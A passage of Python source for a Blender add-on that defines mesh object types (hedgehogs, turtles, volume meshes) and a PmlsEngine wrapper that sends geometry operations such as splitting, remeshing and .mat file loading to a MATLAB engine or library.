PmlsObject(obj1)\n obj2 = PmlsObject(obj2)\n data = PmlsEngine.split(mobj, obj1.to_matlab(), obj2.to_matlab())\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n obj1.set_object_mode()\n bpy.ops.object.delete()\n obj2.set_object_mode()\n bpy.ops.object.delete()\n self.set_edit_mode()\n return data\n \n def _split(self):\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n bpy.ops.object.mode_set(mode=\"EDIT\")\n if \"tmp\" in self.object.vertex_groups.keys():\n bpy.ops.object.vertex_group_set_active(group=\"tmp\")\n bpy.ops.object.vertex_group_remove()\n self.object.vertex_groups.new(name=\"tmp\")\n bpy.ops.object.vertex_group_assign()\n self.set_edit_mode()\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n bpy.ops.mesh.select_face_by_sides(number=3, type='GREATER', extend=False)\n bpy.ops.mesh.quads_convert_to_tris()\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n bpy.ops.object.vertex_group_select() \n bpy.ops.object.vertex_group_remove()\n# bpy.ops.mesh.loop_to_region()\n \n self.set_object_mode()\n bpy.ops.object.duplicate()\n \n bpy.ops.object.mode_set(mode=\"EDIT\")\n bpy.ops.mesh.separate()\n\n obj1 = bpy.context.selected_objects[0]\n obj2 = bpy.context.selected_objects[1]\n \n obj1.name = \"selector1\"\n bpy.ops.object.mode_set()\n obj1[\"pmls_type\"] = \"mesh\"\n obj1 = PmlsObject(obj1)\n obj1.set_edit_mode()\n bpy.ops.mesh.select_all(action=\"SELECT\")\n bpy.ops.mesh.region_to_loop()\n loops = obj1.get_selected_loops()\n \n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n\n obj2.name = \"selector2\"\n bpy.ops.object.mode_set()\n obj2[\"pmls_type\"] = \"mesh\"\n obj2 = PmlsObject(obj2)\n\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n \n mobj = self.to_matlab(True)\n data = PmlsEngine.split(mobj, obj1.to_matlab(), obj2.to_matlab(), loops)\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n obj1.set_object_mode()\n bpy.ops.object.delete()\n obj2.set_object_mode()\n bpy.ops.object.delete()\n self.set_edit_mode()\n return data\n \n \n def cut(self, simple=True):\n if simple:\n data = self._split()\n else:\n data = self._split_complicated()\n PmlsObject(data[0])\n return self.update_from_matlab(data[1])\n \n def copy(self, simple=True):\n if simple:\n data = self._split()\n else:\n data = self._split_complicated()\n PmlsObject(data[0])\n# PmlsObject(data[1])\n return self\n\n def split(self, simple=True):\n if simple:\n data = self._split()\n else:\n data = self._split_complicated()\n PmlsObject(data[0])\n PmlsObject(data[1])\n return self\n \n def delete(self, simple=True):\n if simple:\n data = self._split()\n else:\n data = self._split_complicated()\n return self.update_from_matlab(data[1])\n \nclass PmlsVolMesh(PmlsObject):\n pmls_type = \"vol_mesh\"\n\n @classmethod\n def _add_custom_layers(cls, obj, mobj):\n me = mobj[\"elements\"]\n obj.data[\"tet_elements\"] = [e for e in me];\n\n def _init_from_matlab(self, mobj):\n ob = self.add_mesh( self._mvt_to_py(mobj), self._medges_to_py(mobj), [], self.object );\n self._add_custom_layers(ob, mobj)\n self.object = ob\n\n \n def to_matlab(self):\n vertices = self.object.data.vertices\n S = {};\n n = len(vertices)\n mvt = matlab.double(size=(1,3*n))\n vertices.foreach_get('co', mvt[0])\n mvt.reshape((3,n))\n S[\"verts\"] = mvt\n melems = matlab.int32(self.object.data[\"tet_elements\"])\n S[\"elements\"] = melems\n S[\"pmls_type\"] = self.pmls_type\n S[\"pmls_name\"] = self.object.name\n return S\n \nclass PmlsHedgehog(PmlsObject):\n pmls_type = \"hedgehog\"\n \n @classmethod\n def _add_bmesh_layers(cls, bm, mobj):\n mbindices = mobj[\"bindices\"]\n mvzindices = mobj[\"vzindices\"]\n mvid = mobj[\"vid\"]\n lay = bm.verts.layers.int.new(\"is_base\")\n layname = bm.verts.layers.string.new(\"basename\")\n bm.verts.ensure_lookup_table();\n for v in bm.verts:\n v[lay] = 0\n if not isinstance(mbindices, collections.Iterable):\n mbindices = [[mbindices]]\n n = len(mbindices)\n for i in range(n):\n index = mbindices[i][0]\n bm.verts[index][lay] = 1\n bm.verts[index][layname] = bytes(mvid[i],'ascii')\n if not isinstance(mvzindices, collections.Iterable):\n mvzindices = [[mvzindices]]\n n = len(mvzindices)\n for i in range(n):\n index = mvzindices[i][0]\n bm.verts[index][lay] = 2\n \n\n\n @classmethod\n def _add_custom_layers(cls, obj, mobj):\n bpy.ops.object.mode_set(mode='EDIT')\n me = obj.data\n cls._add_bmesh_layers(bmesh.from_edit_mesh( me ), mobj)\n bpy.ops.object.mode_set()\n \n @classmethod\n def _add_custom_props(cls, obj):\n obj[\"disp_base\"] = True;\n obj[\"disp_pnts\"] = True;\n obj[\"disp_zeroshots\"] = True;\n obj[\"disp_edges\"] = True;\n \n \n def _init_from_matlab(self, mobj):\n ob = self.add_mesh( self._mvt_to_py(mobj), self._medges_to_py(mobj), [], self.object );\n self._add_custom_layers( ob, mobj )\n self._add_custom_props(ob)\n self.object = ob\n \n def _clear_objdata(self):\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_base\")\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_pnts\")\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_zeroshots\")\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_edges\")\n \n @staticmethod\n def _update_display_verts_old(obj, bm):\n lay = bm.verts.layers.int[\"is_base\"]\n if not obj['disp_base'] and not obj['disp_pnts']:\n for v in bm.verts:\n PmlsObject.hide(v)\n elif not obj['disp_base'] or not obj['disp_pnts']:\n to_select = True\n if obj['disp_base']:\n to_select = False\n for v in bm.verts:\n if bool(v[lay]) == to_select:\n PmlsObject.hide(v)\n else:\n PmlsObject.un_hide(v)\n else:\n for v in bm.verts:\n PmlsObject.un_hide(v)\n\n @staticmethod\n def _update_display_verts(obj, bm):\n lay = bm.verts.layers.int[\"is_base\"]\n for v in bm.verts:\n if v[lay] != 1:\n v.hide = True\n if obj['disp_pnts'] or obj['disp_zeroshots']:\n overts0 = [e.other_vert(b) for b in bm.verts if b[lay] == 1 and not b.hide for e in b.link_edges]\n if obj['disp_pnts']:\n overts = [v for v in overts0 if v[lay] == 0] \n for v in overts:\n v.hide = False\n if obj['disp_zeroshots']:\n overts = [v for v in overts0 if v[lay] == 2] \n for v in overts:\n v.hide = False\n \n @staticmethod\n def _update_display_edges(obj, bm):\n lay = bm.verts.layers.int[\"is_base\"]\n if ( not obj['disp_edges'] ):\n for v in bm.edges:\n if (not(v.verts[0].hide or v.verts[1].hide)) and (v.verts[0][lay] == 2 or v.verts[1][lay] == 2):\n v.hide = False\n else:\n v.hide = True \n else:\n for v in bm.edges:\n if v.verts[0].hide or v.verts[1].hide:\n v.hide = True\n else:\n v.hide = False\n \n @staticmethod\n def _update_display(obj, bm):\n PmlsHedgehog._update_display_verts(obj, bm)\n PmlsHedgehog._update_display_edges(obj, bm)\n \n \n def update_display(self):\n obj = self.object\n bm = self.get_bmesh()\n seq = [v for v in bm.faces if v.select]\n seq.extend( [v for v in bm.edges if v.select] )\n seq.extend( [v for v in bm.verts if v.select] )\n bpy.ops.mesh.select_all(action='DESELECT')\n self._update_display(obj, bm)\n for v in seq:\n if not v.hide:\n v.select = True\n# seq = [v for v in bm.faces if v.hide]\n# seq.extend( [v for v in bm.edges if v.hide] )\n# seq.extend( [v for v in bm.verts if v.hide] )\n# for v in seq:\n# v.hide = False\n# v.select = False\n# v.hide = True\n \n bm.select_flush(True)\n bmesh.update_edit_mesh(obj.data, tessface=False, destructive=False)\n \n def hide_stations(self,selected):\n obj = self.object\n bm = self.get_bmesh()\n seq = [v for v in bm.faces if v.select]\n seq.extend( [v for v in bm.edges if v.select] )\n seq.extend( [v for v in bm.verts if v.select] )\n bpy.ops.mesh.select_all(action='DESELECT')\n lay = bm.verts.layers.int[\"is_base\"]\n for v in bm.verts:\n if v[lay] == 1 and selected == v.select:\n v.hide = True\n self._update_display(obj, bm)\n for v in seq:\n if not v.hide:\n v.select = True\n bm.select_flush(True)\n bmesh.update_edit_mesh(obj.data, tessface=False, destructive=False)\n\n def reveal_stations(self):\n obj = self.object\n bm = self.get_bmesh()\n seq = [v for v in bm.faces if v.select]\n seq.extend( [v for v in bm.edges if v.select] )\n seq.extend( [v for v in bm.verts if v.select] )\n bpy.ops.mesh.select_all(action='DESELECT')\n lay = bm.verts.layers.int[\"is_base\"]\n for v in bm.verts:\n if v[lay] == 1:\n v.hide = False\n self._update_display(obj, bm)\n for v in seq:\n if not v.hide:\n v.select = True\n bm.select_flush(True)\n bmesh.update_edit_mesh(obj.data, tessface=False, destructive=False)\n \n def deselect_stations(self):\n obj = self.object\n bm = self.get_bmesh()\n lay = bm.verts.layers.int[\"is_base\"]\n for v in bm.verts:\n if v[lay] == 1:\n v.select = False\n bm.select_flush(False)\n bmesh.update_edit_mesh(obj.data, tessface=False, destructive=False)\n \n \n \n \n def _to_matlab(self, bm, sbase, lay):\n layname = bm.verts.layers.string[\"basename\"]\n S = {}\n S[\"verts\"] = matlab.double([list(v.co) for v in bm.verts])\n S[\"selvt\"] = matlab.logical([v.select for v in bm.verts])\n S[\"vid\"] = [v[layname].decode(\"utf-8\") for v in sbase]\n S[\"base_i\"] = matlab.int32([v.index + 1 for v in sbase])\n S[\"rays_i\"] = [matlab.int32([e.other_vert(b).index + 1 for e in b.link_edges if e.other_vert(b)[lay] != 2 ]) for b in sbase]\n S[\"zeroshots_i\"] = [matlab.int32([e.other_vert(b).index + 1 for e in b.link_edges if e.other_vert(b)[lay] == 2 ]) for b in sbase]\n S[\"pmls_type\"] = self.pmls_type\n S[\"pmls_name\"] = self.object.name\n return S\n \n def to_matlab(self):\n bm = self.get_bmesh()\n lay = bm.verts.layers.int[\"is_base\"]\n sbase = [v for v in bm.verts if v[lay] == 1]\n return self._to_matlab(bm, sbase, lay)\n\n @classmethod\n def is_hedgehog(cls):\n return True\n \n def cut(self):\n self.deselect_stations()\n bpy.ops.mesh.select_more(False)\n bpy.ops.mesh.separate()\n \n def copy(self):\n self.deselect_stations()\n bpy.ops.mesh.select_more(False)\n bpy.ops.mesh.duplicate()\n bpy.ops.mesh.separate()\n\n def split(self):\n self.set_object_mode()\n if \"tmp\" in self.object.vertex_groups.keys():\n bpy.ops.object.vertex_group_set_active(group=\"tmp\")\n bpy.ops.object.vertex_group_remove()\n self.set_edit_mode()\n self.object.vertex_groups.new(name=\"tmp\")\n bpy.ops.object.vertex_group_assign() \n self.deselect_stations()\n bpy.ops.mesh.select_more(False)\n bpy.ops.mesh.duplicate()\n bpy.ops.mesh.separate()\n obj1 = PmlsObject(bpy.context.selected_objects[0])\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n bpy.ops.object.vertex_group_select() \n bpy.ops.mesh.select_all(action=\"INVERT\")\n self.deselect_stations()\n bpy.ops.mesh.select_more(False)\n bpy.ops.mesh.duplicate()\n bpy.ops.mesh.separate()\n obj2 = PmlsObject(bpy.context.selected_objects[0])\n bpy.ops.object.vertex_group_select() \n bpy.ops.object.vertex_group_remove()\n if obj1:\n obj1.set_object_mode()\n bpy.ops.object.vertex_group_remove()\n if obj2:\n obj2.set_object_mode()\n bpy.ops.object.vertex_group_remove()\n self.set_edit_mode()\n \n \n \n def delete(self):\n self.deselect_stations()\n bpy.ops.mesh.delete()\n \nclass PmlsTurtle(PmlsHedgehog, PmlsMesh):\n pmls_type = \"turtle\" \n\n @classmethod\n def _add_custom_props(cls, obj):\n super()._add_custom_props(obj)\n obj[\"disp_faces\"] = True;\n\n def _clear_objdata(self):\n super()._clear_objdata()\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_faces\")\n\n @classmethod\n def _add_bmesh_layers(cls, bm, mobj):\n super()._add_bmesh_layers(bm, mobj)\n lay = bm.edges.layers.int.new(\"is_extended\")\n for e in bm.edges:\n e[lay] = -1\n edges = cls._medges_to_py(mobj)\n bm.verts.ensure_lookup_table();\n edges = [bm.edges.get( (bm.verts[e[0]], bm.verts[e[1]]) ) for e in edges]\n for e in edges:\n e[lay] = 0\n \n\n def _init_from_matlab(self, mobj):\n ob = self.add_mesh( self._mvt_to_py(mobj), self._medges_to_py(mobj), self._mfaces_to_py(mobj), self.object );\n self._add_custom_layers(ob, mobj)\n self._add_custom_props(ob)\n self.object = ob\n \n @staticmethod\n def _update_display(obj, bm):\n PmlsHedgehog._update_display_verts(obj, bm)\n vlay = bm.verts.layers.int[\"is_base\"]\n elay = bm.edges.layers.int[\"is_extended\"]\n\n todisp = set() \n if obj['disp_edges']:\n todisp.add(0)\n if obj['disp_faces']:\n todisp.add(-1)\n for v in bm.edges:\n if (not(v.verts[0].hide or v.verts[1].hide)) and (v[elay] in todisp or v.verts[0][vlay] == 2 or v.verts[1][vlay] == 2):\n v.hide = False\n else:\n v.hide = True \n \n \n# if ( not obj['disp_edges'] ):\n# for v in bm.edges:\n# if (not(v.verts[0].hide or v.verts[1].hide)) and (v[elay] == -1 or v.verts[0][vlay] == 2 or v.verts[1][vlay] == 2):\n# v.hide = False\n# else:\n# v.hide = True \n# else:\n# for v in bm.edges:\n# if v.verts[0].hide or v.verts[1].hide:\n# v.hide = True\n# else:\n# v.hide = False\n \n for f in bm.faces:\n f.hide = any([ e.hide for e in f.edges ])\n \n \n def clear_turtles(self):\n bpy.ops.object.mode_set(mode='EDIT')\n bpy.ops.mesh.reveal()\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n bm = self.get_bmesh()\n lay = bm.edges.layers.int[\"is_extended\"]\n for e in bm.edges:\n if e[lay] == -1:\n e.select_set(True)\n bmesh.update_edit_mesh(self.object.data, tessface=False, destructive=False)\n bpy.ops.mesh.delete(type=\"EDGE_FACE\")\n bm = self.get_bmesh()\n lay = bm.edges.layers.int[\"is_extended\"]\n bm.edges.layers.int.remove(lay)\n bmesh.update_edit_mesh(self.object.data, tessface=False, destructive=False)\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_faces\")\n self.object[\"pmls_type\"] = PmlsHedgehog.pmls_type\n ob = self.object\n ob[\"disp_base\"] = True;\n ob[\"disp_pnts\"] = True;\n ob[\"disp_zeroshots\"] = True;\n ob[\"disp_edges\"] = True;\n return PmlsObject(ob) \n\nclass PmlsExtendedHedgehog(PmlsHedgehog):\n pmls_type = \"ehedgehog\"\n \n @classmethod\n def _add_custom_props(cls, obj):\n super()._add_custom_props(obj)\n obj[\"disp_extedges\"] = True;\n\n\n# def _init_from_matlab(self, mobj):\n# super()._init_from_matlab(mobj)\n# self.object[\"disp_extedges\"] = True;\n \n def _clear_objdata(self):\n PmlsHedgehog._clear_objdata(self)\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_extedges\")\n\n \n @classmethod \n def _add_bmesh_layers(cls, bm, mobj):\n super()._add_bmesh_layers(bm, mobj)\n# bm.edges.ensure_lookup_table();\n mextindices = mobj[\"extindices\"]\n lay = bm.edges.layers.int.new(\"is_extended\")\n for e in bm.edges:\n e[lay] = 0\n edges = cls._medges_to_py(mobj)\n edges = [edges[i[0]] for i in mextindices];\n bm.verts.ensure_lookup_table();\n edges = [bm.edges.get( (bm.verts[e[0]], bm.verts[e[1]]) ) for e in edges]\n for e in edges:\n e[lay] = 1\n \n# for i in mextindices:\n# index = i[0]\n# bm.edges[index][lay] = 1\n \n @staticmethod \n def _update_display(obj, bm):\n PmlsHedgehog._update_display(obj, bm)\n lay = bm.edges.layers.int[\"is_extended\"]\n \n if ( not obj['disp_extedges'] ):\n for v in bm.edges:\n if v[lay] == 1:\n v.hide = True\n else:\n for v in bm.edges:\n if v[lay] == 1:\n if v.verts[0].hide or v.verts[1].hide:\n v.hide = True\n else:\n v.hide = False\n \n def downdate(self, todel):\n bpy.ops.object.mode_set(mode='EDIT')\n bpy.ops.mesh.reveal()\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n if todel:\n bm = self.get_bmesh()\n lay = bm.edges.layers.int[\"is_extended\"]\n for e in bm.edges:\n if e[lay]:\n e.select_set(True)\n bmesh.update_edit_mesh(self.object.data, tessface=False, destructive=False)\n bpy.ops.mesh.delete(type=\"EDGE\")\n bm = self.get_bmesh()\n lay = bm.edges.layers.int[\"is_extended\"]\n bm.edges.layers.int.remove(lay)\n bmesh.update_edit_mesh(self.object.data, tessface=False, destructive=False)\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_extedges\")\n self.object[\"pmls_type\"] = PmlsHedgehog.pmls_type\n ob = self.object\n ob[\"disp_base\"] = True;\n ob[\"disp_pnts\"] = True;\n ob[\"disp_zeroshots\"] = True;\n ob[\"disp_edges\"] = True;\n return PmlsObject(ob)\n \n def _to_matlab(self, bm, sbase, lay):\n S = PmlsHedgehog._to_matlab(self, bm, sbase, lay)\n S[\"erays_i\"] = S[\"rays_i\"]\n elay = bm.edges.layers.int[\"is_extended\"]\n S[\"rays_i\"] = [matlab.int32([e.other_vert(b).index + 1 for e in b.link_edges if (e[elay] == 0 and e.other_vert(b)[lay] != 2) ]) for b in sbase]\n return S\n \nclass PmlsExtendedTurtle(PmlsExtendedHedgehog, PmlsMesh):\n pmls_type = \"eturtle\" \n\n @classmethod\n def _add_custom_props(cls, obj):\n super()._add_custom_props(obj)\n obj[\"disp_faces\"] = True;\n \n def _clear_objdata(self):\n super()._clear_objdata()\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_faces\")\n\n\n def _init_from_matlab(self, mobj):\n ob = self.add_mesh( self._mvt_to_py(mobj), self._medges_to_py(mobj), self._mfaces_to_py(mobj), self.object );\n self._add_custom_layers(ob, mobj)\n self._add_custom_props(ob)\n self.object = ob\n \n @classmethod\n def _add_bmesh_layers(cls, bm, mobj):\n tmp = super(PmlsExtendedHedgehog, cls)\n tmp._add_bmesh_layers(bm, mobj)\n mextindices = mobj[\"extindices\"]\n lay = bm.edges.layers.int.new(\"is_extended\")\n for e in bm.edges:\n e[lay] = -1\n edges = cls._medges_to_py(mobj)\n bm.verts.ensure_lookup_table();\n bmedges = [bm.edges.get( (bm.verts[e[0]], bm.verts[e[1]]) ) for e in edges]\n for e in bmedges:\n e[lay] = 0\n edges = [edges[i[0]] for i in mextindices];\n bm.verts.ensure_lookup_table();\n edges = [bm.edges.get( (bm.verts[e[0]], bm.verts[e[1]]) ) for e in edges]\n for e in edges:\n e[lay] = 1\n \n @staticmethod\n def _update_display(obj, bm):\n PmlsHedgehog._update_display_verts(obj, bm)\n vlay = bm.verts.layers.int[\"is_base\"]\n elay = bm.edges.layers.int[\"is_extended\"]\n todisp = set() \n if obj['disp_edges']:\n todisp.add(0)\n if obj['disp_extedges']:\n todisp.add(1)\n if obj['disp_faces']:\n todisp.add(-1)\n for v in bm.edges:\n if (not(v.verts[0].hide or v.verts[1].hide)) and (v[elay] in todisp or v.verts[0][vlay] == 2 or v.verts[1][vlay] == 2):\n v.hide = False\n else:\n v.hide = True \n# if ( not obj['disp_edges'] and not obj['disp_extedges'] ):\n# for v in bm.edges:\n# if (not(v.verts[0].hide or v.verts[1].hide)) and (v[elay] == -1 or v.verts[0][vlay] == 2 or v.verts[1][vlay] == 2):\n# v.hide = False\n# else:\n# v.hide = True \n# elif not obj['disp_edges']:\n# for v in bm.edges:\n# if (not(v.verts[0].hide or v.verts[1].hide)) and (v[elay] != 0 or v.verts[0][vlay] == 2 or v.verts[1][vlay] == 2):\n# v.hide = False\n# else:\n# v.hide = True \n# elif not obj['disp_extedges']:\n# for v in bm.edges:\n# if (not(v.verts[0].hide or v.verts[1].hide)) and (v[elay] != 1 or v.verts[0][vlay] == 2 or v.verts[1][vlay] == 2):\n# v.hide = False\n# else:\n# v.hide = True \n# else:\n# for v in bm.edges:\n# if v.verts[0].hide or v.verts[1].hide:\n# v.hide = True\n# else:\n# v.hide = False\n \n for f in bm.faces:\n f.hide = any([ e.hide for e in f.edges ])\n edges = [e for e in bm.edges if not e.hide and e[elay] == -1 and not any( [not f.hide for f in e.link_faces] ) ]\n for e in edges:\n e.hide = True\n \n \n def clear_turtles(self):\n bpy.ops.object.mode_set(mode='EDIT')\n bpy.ops.mesh.reveal()\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n bm = self.get_bmesh()\n lay = bm.edges.layers.int[\"is_extended\"]\n for e in bm.edges:\n if e[lay] == -1:\n e.select_set(True)\n bmesh.update_edit_mesh(self.object.data, tessface=False, destructive=False)\n bpy.ops.mesh.delete(type=\"EDGE_FACE\")\n bpy.ops.wm.properties_remove(data_path=\"active_object\", property=\"disp_faces\")\n self.object[\"pmls_type\"] = PmlsExtendedHedgehog.pmls_type\n ob = self.object\n ob[\"disp_base\"] = True;\n ob[\"disp_pnts\"] = True;\n ob[\"disp_zeroshots\"] = True;\n ob[\"disp_edges\"] = True;\n ob[\"disp_extedges\"] = True;\n return PmlsObject(ob)\n \n def downdate(self, todel):\n return self.clear_turtles().downdate(todel) \n \n\nclass PmlsEngine:\n eng = None\n isr = False\n data_counter = 0\n name = \"\"\n islib = False\n \n @classmethod\n def enginename( cls ):\n return cls.eng.matlab.engine.engineName()\n \n @classmethod\n def is_running(cls):\n eng = cls.eng\n if eng and hasattr(matlab, 'engine') and isinstance(eng, matlab.engine.matlabengine.MatlabEngine):\n try:\n x = eng.eye(1)\n cls.isr = True\n cls.islib = False\n return True\n except: #matlab.engine.matlabengine.RejectedExecutionError:\n cls.isr = False\n cls.name = \"\"\n cls.islib = False\n return False\n if eng and pmlslib_module and getattr(eng, 'name', 'nn') == 'pmlslib':\n try:\n x = eng.areyouthere()\n cls.isr = True\n cls.islib = True\n return True\n except: #matlab.engine.matlabengine.RejectedExecutionError:\n cls.isr = False\n cls.name = \"\"\n cls.islib = False\n return False\n else:\n cls.isr = False\n cls.name = \"\"\n cls.islib = False\n return False\n \n @classmethod\n def start(cls):\n if (not cls.is_running()) and hasattr(matlab, 'engine'):\n cls.eng = matlab.engine.start_matlab(\"-desktop\")\n cls.name = \"\"\n cls.is_running()\n \n @classmethod\n def startpoll(cls):\n return (not cls.isr) and hasattr(matlab, 'engine')\n\n @classmethod\n def connect(cls, name):\n if not cls.is_running():\n if hasattr(matlab, 'engine') and name in matlab.engine.find_matlab():\n cls.eng = matlab.engine.connect_matlab( name )\n if pmlslib_module and name == 'pmlslib':\n cls.eng = pmlslib.initialize()\n if cls.is_running():\n cls.name = name\n \n @classmethod\n def stop(cls):\n eng = cls.eng\n if cls.is_running() and not cls.islib:\n eng.eval( 'quit', nargout = 0 )\n if not cls.is_running():\n cls.name = \"\"\n \n @classmethod\n def stoppoll(cls):\n return cls.isr and not cls.islib\n \n\n @classmethod\n def disconnect(cls):\n if cls.is_running():\n if cls.islib:\n if cls.name != getattr(cls.eng, 'name', ''):\n raise AssertionError('name != libname')\n eng=cls.eng\n eng.quit()\n cls.eng = None\n else:\n if cls.name != cls.enginename():\n raise AssertionError('name != enginename')\n eng=cls.eng\n eng.quit()\n cls.eng = None\n if not cls.is_running():\n cls.name = \"\"\n\n @staticmethod\n def findmatlab():\n if hasattr(matlab, 'engine') and pmlslib_module:\n return ('pmlslib',) + matlab.engine.find_matlab()\n if hasattr(matlab, 'engine'):\n return matlab.engine.find_matlab()\n if pmlslib_module:\n return ('pmlslib',)\n\n\n @staticmethod\n def add_mesh(name, verts, edges, faces, ob=None, selvt=None ):\n if bpy.ops.object.mode_set.poll():\n bpy.ops.object.mode_set()\n if not ob:\n bpy.ops.object.select_all(action='DESELECT')\n bpy.ops.object.add(type='MESH',location=(0,0,0))\n ob = bpy.context.object\n ob.name = name\n me = ob.data\n me.name = name\n else:\n me = ob.data\n me.from_pydata(verts, edges, faces)\n me.update(calc_edges=True)\n if selvt:\n bpy.ops.object.mode_set(mode='EDIT')\n bpy.ops.mesh.reveal()\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n bm=bmesh.from_edit_mesh(me)\n bm.verts.ensure_lookup_table()\n for i in selvt:\n bm.verts[i].select = True\n bm.select_flush(True)\n bmesh.update_edit_mesh(me, tessface=False, destructive=False)\n bpy.ops.object.mode_set()\n\n \n return ob\n \n @classmethod\n def load_mat(cls, path):\n data = cls.eng.loadhedgehogs(path)\n for D in data:\n PmlsObject(D)\n\n @classmethod\n def main_sqlite2csv(cls, source, dest):\n cls.eng.mainsqlite2csv(source, dest, nargout=0)\n\n @classmethod\n def sqlite2csvs(cls, sqfile, maincsv, destdir):\n cls.eng.sqlite2csvs(sqfile, maincsv, destdir, nargout=0)\n\n @classmethod\n def get_input(cls, csvfile, polfile, truemin):\n err = io.StringIO()\n \n try:\n if polfile:\n D = cls.eng.getinputpy(csvfile, truemin, polfile, stderr=err)\n else:\n D = cls.eng.getinputpy(csvfile, truemin, stderr=err)\n PmlsObject(D)\n return (True, '', err.getvalue())\n except:\n return (False, '', err.getvalue())\n# @classmethod\n# def get_input(cls, csvfile, polfile):\n# try:\n# if polfile:\n# cls.eng.getinputmain(csvfile, polfile, nargout=0)\n# else:\n# cls.eng.getinputmain(csvfile, nargout=0)\n# except:\n# self.report({'INFO'}, self.message)\n# pass\n \n \n\n @classmethod\n def save_mat(cls, path, data):\n cls.eng.savehedgehogs(path, data, nargout=0)\n\n @classmethod\n def turtles(cls, S):\n return cls.eng.turtlepy(S)\n\n @classmethod\n def separate_turtles(cls, S):\n data = cls.eng.separateturtles(S)\n for D in data:\n PmlsObject(D)\n \n \n\n @classmethod\n def extend_hedgehog(cls, S):\n return cls.eng.extendvisiblepy(S)\n\n @classmethod\n def remeshunion(cls, S, vox, ext, cuda, marcube, shortenrays):\n return cls.eng.remeshunionpy(S, vox, ext, cuda, marcube, shortenrays)\n\n @classmethod\n def tetremeshunion(cls, S, tetgen, par_a, par_q, par_d):\n return cls.eng.tetremeshunionpy(S, tetgen, par_a, par_q, par_d)\n\n @classmethod\n def bihar_pnts(cls, S, unilap, snaptol, voxsiz, to_raycheck):\n return cls.eng.biharpntspy(S, unilap, snaptol, voxsiz, to_raycheck)\n\n @classmethod\n def map_pnts(cls, S):\n return cls.eng.mappntspy(S)\n\n @classmethod\n def get_outliers(cls, S, internal, dihedral):\n return cls.eng.getoutlierspy(S, internal, dihedral)\n\n @classmethod\n def merge_hedgehogs(cls, S):\n return cls.eng.mergeinputpy(S)\n\n @classmethod\n def cutback_at_bridges(cls, S):\n return cls.eng.cutbackpy(S)\n\n @classmethod\n def remesh_union(cls, S, vox, ext, cuda, marcube):\n return cls.eng.remeshunioncpy(S, vox, ext, cuda, marcube)\n\n @classmethod\n def remesh_union_bihar(cls, S, vox, ext, cuda, marcube, unilap, premesh):\n return cls.eng.remeshunionbiharcpy(S, vox, ext, cuda, marcube, unilap, premesh)\n\n @classmethod\n def normal_union(cls, S, premesh, tetgen, par_a, par_q, par_d):\n return cls.eng.libiglunionpy(S, premesh, tetgen, par_a, par_q, par_d)\n\n @classmethod\n def create_vol_mesh(cls, S):\n return cls.eng.surf2meshpy(S)\n\n @classmethod\n def split_complicated(cls, S, H):\n return cls.eng.separatepy(S,H)\n\n @classmethod\n def split_simple(cls, S, H1, H2):\n return cls.eng.separatesimplepy(S,H1, H2)\n\n @classmethod\n def split(cls, S, H1, H2, L):\n return cls.eng.separatetrianglepy(S,H1, H2, L)\n \n @classmethod\n def fill(cls, S):\n return cls.eng.filltripy(S)\n\n\n\nclass PmlsStart(bpy.types.Operator):\n bl_idname = \"pmls.start\"\n bl_label = \"pmls start\"\n \n @classmethod\n def pmls_engine(cls):\n return PmlsEngine\n \n @classmethod\n def poll(cls, context):\n return PmlsEngine.startpoll()\n\n def execute(self, context):\n PmlsEngine.start()\n return {'FINISHED'}\n\nclass PmlsConnect(bpy.types.Operator):\n bl_idname = \"pmls.connect\"\n bl_label = \"pmls connect\"\n \n name = bpy.props.StringProperty()\n \n @classmethod\n def poll(cls, context):\n return not PmlsEngine.isr\n\n def execute(self, context):\n PmlsEngine.connect(self.name)\n return {'FINISHED'}\n\nclass PmlsStop(bpy.types.Operator):\n bl_idname = \"pmls.stop\"\n bl_label = \"pmls stop\"\n \n @classmethod\n def poll(cls, context):\n return PmlsEngine.stoppoll()\n\n def execute(self, context):\n PmlsEngine.stop()\n return {'FINISHED'}\n\nclass PmlsDisconnect(bpy.types.Operator):\n bl_idname = \"pmls.disconnect\"\n bl_label = \"pmls disconnect\"\n \n @classmethod\n def poll(cls, context):\n return PmlsEngine.isr and PmlsEngine.name\n\n def execute(self, context):\n PmlsEngine.disconnect()\n return {'FINISHED'}\n \nclass PmlsLoadMat(bpy.types.Operator):\n \"\"\"Loads mat file\"\"\"\n bl_idname = \"pmls.loadmat\"\n bl_label = \"pmls load mat file\"\n \n filter_glob = bpy.props.StringProperty(default=\"*.mat\", options={'HIDDEN'})\n directory = bpy.props.StringProperty(subtype=\"DIR_PATH\")\n filepath = bpy.props.StringProperty(subtype=\"FILE_PATH\")\n files = bpy.props.CollectionProperty(name=\"File Path\",type=bpy.types.OperatorFileListElement) \n @classmethod\n def poll(cls, context):\n return PmlsEngine.isr\n\n def execute(self, context):\n for fp in self.files:\n PmlsEngine.load_mat(self.directory + fp.name)\n# PmlsEngine.load_mat(self.filepath)\n return {'FINISHED'}\n\n def invoke(self, context, event):\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\nclass PmlsSaveMat(bpy.types.Operator):\n \"\"\"Saves selected PMLS objects to mat file\"\"\"\n bl_idname = \"pmls.savemat\"\n bl_label = \"pmls save mat file\"\n \n filter_glob = bpy.props.StringProperty(default=\"*.mat\", 